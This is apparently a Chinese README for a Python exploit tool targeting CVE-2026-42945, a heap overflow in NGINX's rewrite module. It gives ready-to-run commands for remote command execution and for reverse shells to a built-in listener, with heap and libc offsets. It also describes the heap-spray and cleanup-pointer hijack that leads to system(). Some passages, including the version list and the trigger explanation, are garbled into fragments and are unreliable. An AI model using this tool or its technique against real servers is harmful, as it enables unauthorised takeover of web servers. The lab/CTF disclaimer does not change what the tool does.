用于 CVE-2026-42945 (NGINX Rift) 的 Python RCE PoC,包含反向shell监听器
针对 CVE-2026-42945(NGINX 中 ngx_http_rewrite_module 的堆缓冲区溢出)的远程代码执行概念验证工具。本分支在公开的触发 PoC 基础上,嵌入了反向 shell 监听器以及可配置的利用参数,适用于 CTF 和隔离的实验室环境。
ngx_http_rewrite_module0.6.27 – 1.30.0;NGINX Plus R32 – R361.30.1 / 1.31.0;NGINX Plus R36 P4、R35 P2、R32 P6is_args = 0 的新子引擎上运行,而复制遍在 is_args = 1 的主引擎上运行,调用了 ngx_escape_uri(..., NGX_ESCAPE_ARGS)。可转义的字节每个扩展为 3 字节,导致大小不足的堆缓冲区被攻击者控制的 URI 数据溢出。$1、$2)且替换字符串中包含 ? 的可利用 rewrite/set 配置;已禁用 ASLR 或已知堆/libc 基址;能够通过 POST 请求体进行堆喷射。| 文件 | 描述 |
|---|---|
cve_2026_42945_rce_poc.py | 内置反向 shell 监听器和命令执行模式的 Python 利用工具。 |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s 结构:system@libc | 指向命令的指针 | null。这些请求体会占据稳定的堆位置。rewrite 端点发送精心构造的 GET 请求。URI 模式为:
/api/<349 个 'A'><969 个 '+'><6 字节堆地址>
ngx_pool_t 的 cleanup 指针。cleanup 指针会调用 system(command),在 NGINX 工作进程中执行攻击者控制的命令。--shell,命令会是反向 shell 载荷,内置监听器会捕获传入的连接。本工具旨在用于:
请勿在您不拥有或未经明确许可的系统上使用。
使用风险自负。作者不对未授权或非法使用负责。
原始漏洞研究与 PoC 由 depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift) 提供。 本 Python 反向 shell 分支是为红队实验室/CTF 使用而创建的。